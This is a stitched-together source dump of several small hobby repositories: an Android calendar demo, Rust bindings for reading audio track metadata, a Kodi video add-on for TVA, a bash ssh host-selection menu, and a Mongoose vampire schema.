//To List Out All Calendar Events
final LinkedHashMap<CalendarDay,Vector<EventDO>> hashMapEvents = getMultipleEventsHashMap();
// Vector<MultiEventsDO> vecMultipleEvents = getMultipleEvents();
// Vector<CalendarDay> vecCalendarDayEvents = vecMultipleEvents.
// Vector<CalendarDay> vecCalendarDayEvents = createCalendarEventDays();
currentMonthDecorator = new CurrentMonthDecorator(today.getMonth());
//To Add Calendar Events with Dots
calendarView.addDecorators(
currentMonthDecorator,
new MySelectorDecorator(this),
new EventDecorator(Color.GREEN,hashMapEvents.keySet()),
new CurrentDateDecorator(this,today));
calendarView.setOnDateChangedListener(new OnDateSelectedListener() {
@Override
public void onDateSelected(@NonNull MaterialCalendarView widget, @NonNull CalendarDay date, boolean selected) {
Log.e("aaa","Date : "+date.getDate());
Vector<EventDO> vecEvents = hashMapEvents.get(date);
String str = "";
if(vecEvents != null && vecEvents.size()>0){
str = "";
for(EventDO eventDO:vecEvents){
str += eventDO.eventTitle +"\n"+eventDO.eventDescription+"\n";
}
}
else
str = "";
if(!str.isEmpty())
Toast.makeText(MainActivity.this,""+str,Toast.LENGTH_SHORT).show();
}
});
calendarView.setOnDateLongClickListener(new OnDateLongClickListener() {
@Override
public void onDateLongClick(@NonNull MaterialCalendarView widget, @NonNull CalendarDay date) {
// calendarView.setSelectionMode(MaterialCalendarView.SELECTION_MODE_MULTIPLE);
// calendarView.setDateSelected(date,true);
}
});
calendarView.setOnMonthChangedListener(new OnMonthChangedListener() {
@Override
public void onMonthChanged(MaterialCalendarView widget, CalendarDay date) {
widget.removeDecorator(currentMonthDecorator);
currentMonthDecorator = new CurrentMonthDecorator(date.getMonth());
widget.addDecorator(currentMonthDecorator);
Log.e("aaa","Month Changed to = "+date.getMonth()+"\n date = "+date);
}
});
}
private void setSelectedDays(){
CalendarDay cD = CalendarDay.from(2018, 5, 2);
calendarView.setDateSelected(cD,true);
}
private void increaseTextSize(boolean isLargeRequired){
if (isLargeRequired) {
calendarView.setHeaderTextAppearance(R.style.CustomTextAppearance_Header);
calendarView.setDateTextAppearance(R.style.CustomTextAppearance);
calendarView.setWeekDayTextAppearance(R.style.CustomTextAppearance);
} else {
calendarView.setHeaderTextAppearance(R.style.TextAppearance_MaterialCalendarWidget_Header);
calendarView.setDateTextAppearance(R.style.TextAppearance_MaterialCalendarWidget_Date);
calendarView.setWeekDayTextAppearance(R.style.TextAppearance_MaterialCalendarWidget_WeekDay);
}
}
private Vector<CalendarDay> createCalendarEventDays(){
Vector<CalendarDay> vecCalendarDays = new Vector<>();
LocalDate localDate = LocalDate.now().minusMonths(2);
for(int i =0;i<30;i++){
CalendarDay calendarDay = CalendarDay.from(localDate);
vecCalendarDays.add(calendarDay);
localDate = localDate.plusDays(5);
}
return vecCalendarDays;
}
private Vector<MultiEventsDO> getMultipleEvents(){
Vector<MultiEventsDO> vecMultipleEvents = new Vector<>();
MultiEventsDO multiEventsDO = new MultiEventsDO();
LocalDate localDate = LocalDate.of(2018,11,2);
multiEventsDO.calendarDay = CalendarDay.from(localDate);
EventDO eventDO = new EventDO();
eventDO.eventDescription = "Have a blast party from Kishore.";
eventDO.eventTime = "10:00:00";
eventDO.eventTitle = "Kishore Birthday";
multiEventsDO.eventDO = eventDO;
vecMultipleEvents.add(multiEventsDO);
MultiEventsDO multiEventsDO1 = new MultiEventsDO();
LocalDate localDate1 = LocalDate.of(2018,12,10);
multiEventsDO1.calendarDay = CalendarDay.from(localDate1);
EventDO eventDO1 = new EventDO();
eventDO1.eventDescription = "Have a blast party from Satya.";
eventDO1.eventTime = "10:00:00";
eventDO1.eventTitle = "Satya Birthday";
multiEventsDO1.eventDO = eventDO1;
vecMultipleEvents.add(multiEventsDO1);
return vecMultipleEvents;
}
private LinkedHashMap<CalendarDay,Vector<EventDO>> getMultipleEventsHashMap(){
LinkedHashMap<CalendarDay,Vector<EventDO>> hashMapEvents = new LinkedHashMap<>();
Vector<EventDO> vecMultipleEvents = new Vector<>();
LocalDate localDate = LocalDate.of(2018,11,2);
CalendarDay calendarDay = CalendarDay.from(localDate);
EventDO eventDO = new EventDO();
eventDO.eventDescription = "Have a blast party from Kishore.";
eventDO.eventTime = "10:00:00";
eventDO.eventTitle = "Kishore Birthday";
vecMultipleEvents.add(eventDO);
EventDO eventDO2 = new EventDO();
eventDO2.eventDescription = "Kishore resort Party,Full Enjoying";
eventDO2.eventTime = "10:00:00";
eventDO2.eventTitle = "Kishore Resort Party";
vecMultipleEvents.add(eventDO2);
hashMapEvents.put(calendarDay,vecMultipleEvents);
Vector<EventDO> vecMultipleEvents1 = new Vector<>();
LocalDate localDate1 = LocalDate.of(2018,12,10);
CalendarDay calendarDay1 = CalendarDay.from(localDate1);
EventDO eventDO1 = new EventDO();
eventDO1.eventDescription = "Have a blast party from Satya.";
eventDO1.eventTime = "10:00:00";
eventDO1.eventTitle = "Satya Birthday";
vecMultipleEvents1.add(eventDO1);
hashMapEvents.put(calendarDay1,vecMultipleEvents1);
return hashMapEvents;
}
}
<file_sep>/app/src/main/java/com/raj/calendardemo/CurrentDateDecorator.java
package com.raj.calendardemo;
import android.app.Activity;
import android.graphics.drawable.Drawable;
import com.prolificinteractive.materialcalendarview.CalendarDay;
import com.prolificinteractive.materialcalendarview.DayViewDecorator;
import com.prolificinteractive.materialcalendarview.DayViewFacade;
/**
* Use a custom selector
*/
public class CurrentDateDecorator implements DayViewDecorator {
private final Drawable drawable;
private CalendarDay calendarDay;
public CurrentDateDecorator(Activity context,CalendarDay calendarDay) {
drawable = context.getResources().getDrawable(R.drawable.current_date_selector);
this.calendarDay = calendarDay;
}
@Override
public boolean shouldDecorate(CalendarDay day) {
return day.getDate().isEqual(calendarDay.getDate());
}
@Override
public void decorate(DayViewFacade view) {
view.setSelectionDrawable(drawable);
}
}
<file_sep>/app/src/main/java/com/raj/calendardemo/ColorDecorator.java
package com.raj.calendardemo;
import android.app.Activity;
import android.graphics.Color;
import android.graphics.drawable.Drawable;
import android.text.style.ForegroundColorSpan;
import com.prolificinteractive.materialcalendarview.CalendarDay;
import com.prolificinteractive.materialcalendarview.DayViewDecorator;
import com.prolificinteractive.materialcalendarview.DayViewFacade;
/**
* Use a custom selector
*/
public class ColorDecorator implements DayViewDecorator {
private static final int color = Color.parseColor("#D81B60");
public ColorDecorator() {
}
@Override
public boolean shouldDecorate(CalendarDay day) {
return true;
}
@Override
public void decorate(DayViewFacade view) {
view.addSpan(new ForegroundColorSpan(Color.RED));
}
}
<file_sep>/app/src/main/java/com/raj/calendardemo/MultiEventsDO.java
package com.raj.calendardemo;
import com.prolificinteractive.materialcalendarview.CalendarDay;
public class MultiEventsDO {
public CalendarDay calendarDay;
public EventDO eventDO;
}
|
c8b51c61c09e1345a1b2dc8055c4b932723f656a
|
[
"Java"
] | 4
|
Java
|
AnuragKurumaddali/CalendarDemo
|
7fc4935cdd4158c7478e6a6a91f503945023f1b1
|
5c5a532f8ccbd8f765ae43664dd735893d6a7007
|
refs/heads/master
|
<file_sep>const mongoose = require('mongoose');
const vampireData = require('../populateVampires');
/************************************
Create Schema:
const vampire = {
name: '<NAME>',
hair_color: 'brown',
eye_color: 'brown',
dob: new Date(1971, 2, 13, 7, 47),
loves: ['cereal','marshmallows'],
location: 'Minneapolis, Minnesota, US',
gender: 'm',
victims: 2,
}
************************************/
const vampireSchema = new mongoose.Schema({
name: {type: String, required: true},
hair_color: {type: String, default: 'blonde'},
eye_color: String,
dob: Date,
loves: [String],
location: String,
gender: String,
victims: {type: Number, min: 0}
})
const Vampire = mongoose.model('Vampire', vampireSchema);
module.exports = Vampire;
|
e367d31eed950807ca05daed0cdb6e234837fe81
|
[
"JavaScript"
] | 1
|
JavaScript
|
aprudhomme9/wdi-13-hw12-mongoose-vampires-hw
|
de861128eaf2b3bc06022acd98f1ec51d22d5c64
|
803606a67e8cca87697fe820ab2c11a5ced4a8d7
|
refs/heads/master
|
<file_sep># -*- coding: utf-8 -*-
import re
import socket, xbmc, xbmcaddon
from StringIO import StringIO
import urllib2, gzip
# Merci à l'auteur de cette fonction
def unescape_callback(matches):
""" function docstring """
html_entities = \
{
'quot':'\"', 'amp':'&', 'apos':'\'', 'lt':'<',
'gt':'>', 'nbsp':' ', 'copy':'©', 'reg':'®',
'Agrave':'À', 'Aacute':'Á', 'Acirc':'Â',
'Atilde':'Ã', 'Auml':'Ä', 'Aring':'Å',
'AElig':'Æ', 'Ccedil':'Ç', 'Egrave':'È',
'Eacute':'É', 'Ecirc':'Ê', 'Euml':'Ë',
'Igrave':'Ì', 'Iacute':'Í', 'Icirc':'Î',
'Iuml':'Ï', 'ETH':'Ð', 'Ntilde':'Ñ',
'Ograve':'Ò', 'Oacute':'Ó', 'Ocirc':'Ô',
'Otilde':'Õ', 'Ouml':'Ö', 'Oslash':'Ø',
'Ugrave':'Ù', 'Uacute':'Ú', 'Ucirc':'Û',
'Uuml':'Ü', 'Yacute':'Ý', 'agrave':'à',
'aacute':'á', 'acirc':'â', 'atilde':'ã',
'auml':'ä', 'aring':'å', 'aelig':'æ',
'ccedil':'ç', 'egrave':'è', 'eacute':'é',
'ecirc':'ê', 'euml':'ë', 'igrave':'ì',
'iacute':'í', 'icirc':'î', 'iuml':'ï',
'eth':'ð', 'ntilde':'ñ', 'ograve':'ò',
'oacute':'ó', 'ocirc':'ô', 'otilde':'õ',
'ouml':'ö', 'oslash':'ø', 'ugrave':'ù',
'uacute':'ú', 'ucirc':'û', 'uuml':'ü',
'yacute':'ý', 'yuml':'ÿ'
}
entity = matches.group(0)
val = matches.group(1)
try:
if entity[:2] == r'\u':
return entity.decode('unicode-escape')
elif entity[:3] == '&#x':
return unichr(int(val, 16))
elif entity[:2] == '&#':
return unichr(int(val))
else:
return html_entities[val].decode('utf-8')
except (ValueError, KeyError):
pass
def html_unescape(data):
""" function docstring """
data = data.decode('utf-8')
data = re.sub(r'&#?x?(\w+);|\\\\u\d{4}', unescape_callback, data)
data = data.encode('utf-8')
return data
def get_url_txt(the_url):
""" function docstring """
log("--get_url_txt----START--")
req = urllib2.Request(the_url)
req.add_header(\
'User-Agent', \
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36'\
)
req.add_header('Accept', 'application/json;pk='+ xbmcaddon.Addon().getSetting('policyKey') )
req.add_header('Accept-Language', 'fr-CA,fr-FR;q=0.8,en-US;q=0.6,fr;q=0.4,en;q=0.2')
req.add_header('Accept-Encoding', 'gzip, deflate')
req.add_header('Connection', 'keep-alive')
req.add_header('Pragma', 'no-cache')
req.add_header('Cache-Control', 'no-cache')
response = urllib2.urlopen(req)
data = ""
log("--encoding--")
log(response.info().get('Content-Encoding'))
if response.info().get('Content-Encoding') == 'gzip':
buf = StringIO( response.read() )
f = gzip.GzipFile(fileobj=buf)
data = f.read()
else:
data = response.read()
response.close()
log("--data--")
#log(data)
return data
def is_network_available(url):
""" function docstring """
try:
# see if we can resolve the host name -- tells us if there is a DNS listening
host = socket.gethostbyname(url)
# connect to the host -- tells us if the host is actually reachable
srvcon = socket.create_connection((host, 80), 2)
srvcon.close()
return True
except socket.error:
return False
def log(msg):
""" function docstring """
if xbmcaddon.Addon().getSetting('DebugMode') == 'true':
xbmc.log('[%s - DEBUG]: %s' % (xbmcaddon.Addon().getAddonInfo('name'), msg))<file_sep># -*- coding: utf-8 -*-
import sys
from urllib import urlencode
from urlparse import parse_qsl
import xbmc
import xbmcgui
import xbmcplugin
from resources.lib import content
# Get the plugin url in plugin:// notation.
_url = sys.argv[0]
# Get the plugin handle as an integer number.
_handle = int(sys.argv[1])
SHOWS_DATA = content.get_shows_data()
SHOWS_BY_ID = content.get_shows_by_id(SHOWS_DATA)
GENRES = content.get_genres(SHOWS_DATA, SHOWS_BY_ID)
SHOW_SECTIONS = {}
def get_url(**kwargs):
"""
Create a URL for calling the plugin recursively from the given set of keyword arguments.
:param kwargs: "argument=value" pairs
:type kwargs: dict
:return: plugin call URL
:rtype: str
"""
return '{0}?{1}'.format(_url, urlencode(kwargs))
def list_categories():
"""
Create the list of show categories in the Kodi interface.
"""
# Set plugin category. It is displayed in some skins as the name of the current section.
xbmcplugin.setPluginCategory(_handle, 'Tous les contenus par genre')
# Set plugin content. It allows Kodi to select appropriate views for this type of content.
xbmcplugin.setContent(_handle, 'videos')
categories = GENRES
# Iterate through categories
for key, category in categories.items():
# Create a list item with a text label and a thumbnail image.
list_item = xbmcgui.ListItem(label=category['label'])
# Set graphics (thumbnail, fanart, banner, poster, landscape etc.) for the list item.
list_item.setArt({'thumb': category['thumb'],
'icon': category['thumb'],
'fanart': category['thumb']})
# Set additional info for the list item.
# For available properties see the following link:
# http://mirrors.xbmc.org/docs/python-docs/15.x-isengard/xbmcgui.html#ListItem-setInfo
list_item.setInfo('video', {'title': category['label'], 'genre': category['label']})
# Create a URL for a plugin recursive call.
# Example: plugin://plugin.video.example/?action=listing&category=Animals
url = get_url(action='listing', category=key)
# is_folder = True means that this item opens a sub-list of lower level items.
is_folder = True
# Add our item to the Kodi virtual folder listing.
xbmcplugin.addDirectoryItem(_handle, url, list_item, is_folder)
# Add a sort method for the virtual folder items (alphabetically, ignore articles)
xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_LABEL_IGNORE_THE)
# Finish creating a virtual folder.
xbmcplugin.endOfDirectory(_handle)
def list_shows(category_id):
"""
Create the list of shows for a specified category in the Kodi interface.
"""
# Get category details
category = GENRES[category_id]
# Set plugin category. It is displayed in some skins as the name of the current section.
xbmcplugin.setPluginCategory(_handle, category['label'])
# Set plugin content. It allows Kodi to select appropriate views for this type of content.
xbmcplugin.setContent(_handle, 'videos')
shows = category['items']
# Iterate through shows
for item_id in shows:
item = SHOWS_BY_ID[item_id]
# Create a list item with a text label and a thumbnail image.
list_item = xbmcgui.ListItem(label=item['title'])
# Set graphics (thumbnail, fanart, banner, poster, landscape etc.) for the list item.
list_item.setArt({'thumb': item['image-background'],
'icon': item['image-background'],
'fanart': item['image-background'],
'landscape': item['image-landscape']})
# Set additional info for the list item.
# For available properties see the following link:
# http://mirrors.xbmc.org/docs/python-docs/15.x-isengard/xbmcgui.html#ListItem-setInfo
list_item.setInfo('video', {'title': item['title'],
#'plot' : item['description'],
'genre': category['label']})
# Create a URL for a plugin recursive call.
# Example: plugin://plugin.video.example/?action=listing&category=Animals
url = get_url(action='section-listing', show=item_id)
# is_folder = True means that this item opens a sub-list of lower level items.
is_folder = True
# Add our item to the Kodi virtual folder listing.
xbmcplugin.addDirectoryItem(_handle, url, list_item, is_folder)
# Add a sort method for the virtual folder items (alphabetically, ignore articles)
xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_LABEL_IGNORE_THE)
# Finish creating a virtual folder.
xbmcplugin.endOfDirectory(_handle)
def list_sections(show_id):
"""
Create the list of sections for a specified show in the Kodi interface.
"""
# Get show sections
if show_id in SHOW_SECTIONS:
sections = SHOW_SECTIONS[show_id]
else:
SHOW_SECTIONS[show_id] = content.get_show_sections(SHOWS_BY_ID[show_id])
sections = SHOW_SECTIONS[show_id]
# Set plugin category. It is displayed in some skins as the name of the current section.
xbmcplugin.setPluginCategory(_handle, SHOWS_BY_ID[show_id]['title'])
# Set plugin content. It allows Kodi to select appropriate views for this type of content.
xbmcplugin.setContent(_handle, 'videos')
# Iterate through sections
for key, section in sections.items():
# Create a list item with a text label and a thumbnail image.
list_item = xbmcgui.ListItem(label=section['title'])
# Set graphics (thumbnail, fanart, banner, poster, landscape etc.) for the list item.
list_item.setArt({'thumb': section['thumb'],
'icon': section['thumb'],
'fanart': section['thumb']})
# Set additional info for the list item.
# For available properties see the following link:
# http://mirrors.xbmc.org/docs/python-docs/15.x-isengard/xbmcgui.html#ListItem-setInfo
list_item.setInfo('video', {'title': section['title']})
# Create a URL for a plugin recursive call.
# Example: plugin://plugin.video.example/?action=listing&category=Animals
url = get_url(action='videos-listing', show=show_id, section=key)
# is_folder = True means that this item opens a sub-list of lower level items.
is_folder = True
# Add our item to the Kodi virtual folder listing.
xbmcplugin.addDirectoryItem(_handle, url, list_item, is_folder)
# Add a sort method for the virtual folder items (alphabetically, ignore articles)
xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_LABEL_IGNORE_THE)
# Finish creating a virtual folder.
xbmcplugin.endOfDirectory(_handle)
def list_videos(show_id, section_id):
"""
Create the list of playable videos in the Kodi interface.
"""
# Get show sections
if show_id in SHOW_SECTIONS:
sections = SHOW_SECTIONS[show_id]
else:
SHOW_SECTIONS[show_id] = content.get_show_sections(SHOWS_BY_ID[show_id])
sections = SHOW_SECTIONS[show_id]
section = sections[section_id]
# Set plugin category. It is displayed in some skins as the name of the current section.
xbmcplugin.setPluginCategory(_handle, section['title'])
# Set plugin content. It allows Kodi to select appropriate views for this type of content.
xbmcplugin.setContent(_handle, 'videos')
videos = section['items']
# Iterate through videos.
for key, video in videos.items():
# Create a list item with a text label and a thumbnail image.
list_item = xbmcgui.ListItem(label=video['title'])
# Set additional info for the list item.
list_item.setInfo('video', {'title': video['title']})
# Set graphics (thumbnail, fanart, banner, poster, landscape etc.) for the list item.
img_back = video['image-background']
img_land = img_back
if 'image-landscape' in video:
img_land = video['image-landscape']
list_item.setArt({'thumb': img_back,
'landscape': img_land,
'icon': img_back,
'fanart': img_back})
# Set 'IsPlayable' property to 'true'.
# This is mandatory for playable items!
list_item.setProperty('IsPlayable', 'true')
# Create a URL for a plugin recursive call.
# Example: plugin://plugin.video.example/?action=play&video=http://www.vidsplay.com/wp-content/uploads/2017/04/crab.mp4
url = get_url(action='play', video=video['id'])
# Add the list item to a virtual Kodi folder.
# is_folder = False means that this item won't open any sub-list.
is_folder = False
# Add our item to the Kodi virtual folder listing.
xbmcplugin.addDirectoryItem(_handle, url, list_item, is_folder)
# Add a sort method for the virtual folder items (alphabetically, ignore articles)
xbmcplugin.addSortMethod(_handle, xbmcplugin.SORT_METHOD_LABEL_IGNORE_THE)
# Finish creating a virtual folder.
xbmcplugin.endOfDirectory(_handle)
def play_video(video_id):
"""
Play a video by the provided path.
:param path: Fully-qualified video URL
:type path: str
"""
path = content.get_video_url(video_id.replace('_', ''))
# Create a playable item with a path to play.
play_item = xbmcgui.ListItem(path=path)
# Pass the item to the Kodi player.
xbmcplugin.setResolvedUrl(_handle, True, listitem=play_item)
def router(paramstring):
"""
Router function that calls other functions
depending on the provided paramstring
:param paramstring: URL encoded plugin paramstring
:type paramstring: str
"""
# Parse a URL-encoded paramstring to the dictionary of
# {<parameter>: <value>} elements
params = dict(parse_qsl(paramstring))
# Check the parameters passed to the plugin
if params:
if params['action'] == 'listing':
# Display the list of shows in a provided category.
list_shows(params['category'])
elif params['action'] == 'section-listing':
# Display the list of videos in a provided show.
list_sections(params['show'])
elif params['action'] == 'videos-listing':
# Display the list of videos in a provided show.
list_videos(params['show'], params['section'])
elif params['action'] == 'play':
# Play a video from a provided URL.
play_video(params['video'])
else:
# If the provided paramstring does not contain a supported action
# we raise an exception. This helps to catch coding errors,
# e.g. typos in action names.
raise ValueError('Invalid paramstring: {0}!'.format(paramstring))
else:
# If the plugin is called from Kodi UI without any parameters,
# display the list of video categories
list_categories()
if __name__ == '__main__':
# Call the router function and pass the plugin call parameters to it.
# We use string slicing to trim the leading '?' from the plugin call paramstring
router(sys.argv[2][1:])<file_sep># -*- coding: utf-8 -*-
# encoding=utf8
#import urllib2, simplejson, parse, cache, re, xbmcaddon, html, xbmc, datetime, time
#import urlparse
import xbmcaddon, xbmc
import urllib2, simplejson
import html
from BeautifulSoup import BeautifulSoup
BASE_HOST = 'videos.tva.ca'
BASE_URL = 'https://' + BASE_HOST
PROXY_URL = BASE_URL + '/proxy/page'
UUID = 'dead3540-701e-452f-b2d9-629c652f7038'
APPID = '<KEY>'
GENRES_URL = PROXY_URL + '/contenus?appId=' + APPID + '&uuid=' + UUID
VIDEOS_URL = 'https://edge.api.brightcove.com/playback/v1/accounts/5481942443001/videos/'
def get_json_data( url ):
#todo cache
opener = urllib2.build_opener()
opener.addheaders = [('accept', 'application/json')]
response = opener.open(url)
data = simplejson.load(response)
return data
def get_shows_data():
return get_json_data(GENRES_URL)
def get_shows_by_id( shows_data ):
shows_list = {}
for show in shows_data['item']:
attributes = {'id' : show['id']}
for attr in show['attributes']:
attributes.update({attr['key'] : attr['value']})
shows_list.update({show['id'] : attributes})
return shows_list
def get_genres( shows_data, shows_by_id ):
genres_list = {}
for genre in shows_data['container']:
if 'title' in genre:
items = genre['itemId']
genres_list.update({genre['id']: {'id' : genre['id'],
'label' : u(genre['title']),
'items' : items,
'thumb' : shows_by_id[items[0]]['image-background']}})
return genres_list
def get_show_sections( show ):
url = PROXY_URL + '/' + show['pageAlias'] + '?appId=' + APPID + '&uuid=' + UUID
data = get_json_data(url)
videos_list = {}
for video in data['item']:
if video['typeId'] == 'go-item-video':
attributes = {'id' : video['id']}
for attr in video['attributes']:
attributes.update({attr['key'] : attr['value']})
videos_list.update({video['id'] : attributes})
sections_list = {}
for section in data['container']:
if 'itemId' in section:
items = {}
for item_id in section['itemId']:
if item_id in videos_list:
items.update({item_id : videos_list[item_id]})
if items:
first_video = videos_list[section['itemId'][0]]
thumb = show['image-background']
if 'image-background' in first_video:
thumb = first_video['image-background']
elif 'image-landscape' in first_video:
thumb = first_video['image-landscape']
sections_list.update({section['id']: {'id' : section['id'],
'title' : u(section['title']),
'items' : items,
'thumb' : thumb}})
return sections_list
def get_video_url( video_id ):
#TODO text tracks
xbmc.log(VIDEOS_URL + video_id);
opener = urllib2.build_opener()
opener.addheaders = [('Accept', 'application/json;pk=BCpkADawqM1hywVFkIaMkLk5QCmn-q5oGrQrwYRMPcl_yfP9blx9yhGiZtlI_V45Km8iey5HKLSiAuqpoa1aRjGw-VnDcrCVf86gFp2an1FmFzmGx-O-ed-Sig71IJMdGs8Wt9IyGrbnWNI9zNxYG_noFW5dLBdPV3hXo4wgTzvC2KvyP4uHiQxwyZw'),
('Origin', 'https://videos.tva.ca'),
('Referer', 'https://videos.tva.ca/')]
response = opener.open(VIDEOS_URL + video_id)
data = simplejson.load(response)
for source in data['sources']:
if source['ext_x_version'] == "5":
url = source['src']
break
return url
#def get_videos(category):
# """
# Get the list of videofiles/streams.
# Here you can insert some parsing code that retrieves
# the list of video streams in the given category from some site or server.
# .. note:: Consider using `generators functions <https://wiki.python.org/moin/Generators>`_
# instead of returning lists.
# :param category: Category name
# :type category: str
# :return: the list of videos in the category
# :rtype: list
# """
# return VIDEOS[category]
def u(data):
return data.encode("utf-8")<file_sep># Addiciel Kodi pour https://videos.tva.ca/
1. Vous pouvez cliquer sur le bouton « Clone or download »
2. Vous pourrez ensuite cliquer sur « Download ZIP »
3. Vous pourrez alors installer l'addiciel en tant que fichier ZIP
|
fe2cf469a9522f72da803f15ddb19552c9bae69e
|
[
"Markdown",
"Python"
] | 4
|
Python
|
service-paradis/plugin.tva.videos
|
4101815beae2b371e2b4b0deba8d248070a84896
|
64196df42dfa9031338667f351652886e0484a5b
|
refs/heads/master
|
<file_sep>#![allow(non_camel_case_types)]
#![allow(non_snake_case)]
extern crate libc;
use libc::{c_int, c_uint, c_longlong};
#[derive(Debug)]
#[repr(C)]
pub struct katatsuki_Track {
pub FileType: c_uint,
pub Title: *const u16,
pub Artist: *const u16,
pub AlbumArtists: *const u16,
pub Album: *const u16,
pub Year: c_uint,
pub TrackNumber: c_uint,
pub MusicBrainzTrackId: *const u16,
pub HasFrontCover: bool,
pub FrontCoverHeight: c_int,
pub FrontCoverWidth: c_int,
pub Bitrate: c_int,
pub SampleRate: c_int,
pub DiscNumber: c_uint,
pub Duration: c_longlong,
}
// #[link(name = "libkatatsuki", kind = "static")]
#[link(name = "bootstrapperdll", kind = "static")]
#[link(name = "Runtime", kind = "static")]
extern "C" {
pub fn katatsuki_get_track_data(file_path: *const u16) -> katatsuki_Track;
}
// extern crate widestring;
// pub fn main() {
// use std::path::Path;
// use widestring::WideCString;
// let track_path = Path::new("track.flac");
// let track_path_ptr = WideCString::from_str(track_path.as_os_str()).unwrap();
// unsafe {
// let track = katatsuki_get_track_data(track_path_ptr.as_ptr());
// println!("{:?}", track);
// }
// }<file_sep>#[macro_use]
extern crate enum_primitive_derive;
extern crate chrono;
extern crate libc;
extern crate num_traits;
extern crate widestring;
extern crate libkatatsuki_sys as sys;
use std::io::{Error, ErrorKind, Result};
use std::path::Path;
use sys::katatsuki_Track;
use sys::katatsuki_get_track_data;
use chrono::Local;
use widestring::WideCString;
pub use num_traits::{FromPrimitive, ToPrimitive};
pub use track::Track;
pub use track::TrackFileType;
mod track;
const TICKS_PER_MS: i64 = 10000;
fn ticks_to_ms(ticks: i64) -> i32 {
(ticks / TICKS_PER_MS) as i32
}
fn wide_string_ptr_to_string(pointer: *const u16) -> Option<String> {
unsafe {
if !pointer.is_null() {
Some(WideCString::from_ptr_str(pointer).to_string_lossy())
} else {
None
}
}
}
impl Track {
pub fn from_path(path: &Path, source: Option<&str>) -> Result<Track> {
if !path.exists() {
Err(Error::new(
ErrorKind::NotFound,
format!("File {:?} not found.", path),
))
} else {
if let Ok(path_ptr) = WideCString::from_str(path.as_os_str()) {
let track: katatsuki_Track = unsafe { katatsuki_get_track_data(path_ptr.as_ptr()) };
if track.FileType == 0 {
Err(Error::new(
ErrorKind::InvalidData,
format!("File {:?} is unsupported", path),
))
} else {
Ok(Track {
file_path: path.to_owned(),
file_type: TrackFileType::from_u32(track.FileType).unwrap(),
title: wide_string_ptr_to_string(track.Title).unwrap_or("".to_owned()),
artist: wide_string_ptr_to_string(track.Artist).unwrap_or("".to_owned()),
album: wide_string_ptr_to_string(track.Album).unwrap_or("".to_owned()),
album_artists: wide_string_ptr_to_string(track.AlbumArtists).unwrap_or("".to_owned())
.split(';')
.map(|c| c.to_owned())
.collect::<Vec<String>>(),
year: track.Year as i32,
track_number: track.TrackNumber as i32,
musicbrainz_track_id: wide_string_ptr_to_string(track.MusicBrainzTrackId),
has_front_cover: track.HasFrontCover,
front_cover_width: track.FrontCoverWidth,
front_cover_height: track.FrontCoverHeight,
bitrate: track.Bitrate,
sample_rate: track.SampleRate,
source: source.unwrap_or("None").to_owned(),
disc_number: track.DiscNumber as i32,
duration: ticks_to_ms(track.Duration),
updated: Local::now().format("%Y-%m-%d").to_string(),
})
}
} else {
Err(Error::new(
ErrorKind::UnexpectedEof,
format!("Path was invalid."),
))
}
}
}
}
|
d8b8db6a58d153a8559b4c0bfaacafc95c1cc57c
|
[
"Rust"
] | 2
|
Rust
|
jbelke/seiri
|
172353683304e481618de9117993afb61ef48671
|
fb39435a0de642c499121f4650438a1d715a920a
|
refs/heads/master
|
<repo_name>Coen-Townson/ssh-selector<file_sep>/sshs
#!/bin/bash
# Renders a text based list of options that can be selected by the
# user using up, down and enter keys and returns the chosen option.
#
# Arguments : list of options, maximum of 256
# "opt1" "opt2" ...
# Return value: selected index (0 for opt1, 1 for opt2 ...)
function select_option {
# little helpers for terminal print control and key input
ESC=$( printf "\033")
cursor_blink_on() { printf "$ESC[?25h"; }
cursor_blink_off() { printf "$ESC[?25l"; }
cursor_to() { printf "$ESC[$1;${2:-1}H"; }
print_option() { printf " $1 "; }
print_selected() { printf " $ESC[7m $1 $ESC[27m"; }
get_cursor_row() { IFS=';' read -sdR -p $'\E[6n' ROW COL; echo ${ROW#*[}; }
key_input() { read -s -n3 key 2>/dev/null >&2
if [[ $key = $ESC[A ]]; then echo up; fi
if [[ $key = $ESC[B ]]; then echo down; fi
if [[ $key = "" ]]; then echo enter; fi; }
# initially print empty new lines (scroll down if at bottom of screen)
for opt; do printf "\n"; done
# determine current screen position for overwriting the options
local lastrow=`get_cursor_row`
local startrow=$(($lastrow - $# - 1))
# ensure cursor and input echoing back on upon a ctrl+c during read -s
trap "cursor_blink_on; stty echo; printf '\n'; exit" 2
cursor_blink_off
local selected=0
while true; do
# print options by overwriting the last lines
local idx=0
for opt; do
cursor_to $(($startrow + $idx))
if [ "$opt" = "Cancel" ]
then
echo
fi
if [ $idx -eq $selected ]; then
print_selected "$opt"
else
print_option "$opt"
fi
((idx++))
done
# user key control
case `key_input` in
enter) break;;
up) ((selected--));
if [ $selected -lt 0 ]; then selected=$(($# - 1)); fi;;
down) ((selected++));
if [ $selected -ge $# ]; then selected=0; fi;;
esac
done
# cursor position back to normal
cursor_to $lastrow
printf "\n"
cursor_blink_on
return $selected
}
# Read ssh config file and add host names to ssh_options array
function get_ssh_config {
# If $SSH_CONFIG_PATH is undefined default to using $HOME/.ssh/config
if [ !$SSH_CONFIG_PATH ]
then
SSH_CONFIG_PATH="$HOME/.ssh/config"
fi
if ls "$SSH_CONFIG_PATH" >/dev/null 2>&1
then
ssh_options+=( $(cat $SSH_CONFIG_PATH | egrep "^Host .*" | sed "s/^Host \(.*\)$/\1/") )
else
echo "Could not find configuration file. Please check that $SSH_CONFIG_PATH exists."
exit 1
fi
}
###### Main ######
# Read ssh config file
ssh_options=()
get_ssh_config
options=("${ssh_options[@]}" "Cancel")
# Get user input
printf "Select remote host:\n\n\n"
select_option "${options[@]}"
choice=$?
# Process input
if [ "${options[$choice]}" = "Cancel" ]
then
exit 0
else
ssh ${options[$choice]}
fi
<file_sep>/README.md
# ssh-selector
Interactive selection menu for all configured ssh hosts

# Usage
By default `sshs` will read a properly formatted ssh config file (https://linux.die.net/man/5/ssh_config) that is located at `$HOME/.ssh/config`. The config directory can be changed by modifying the `$SSH_CONFIG_PATH` environment variable to be the location of this path.
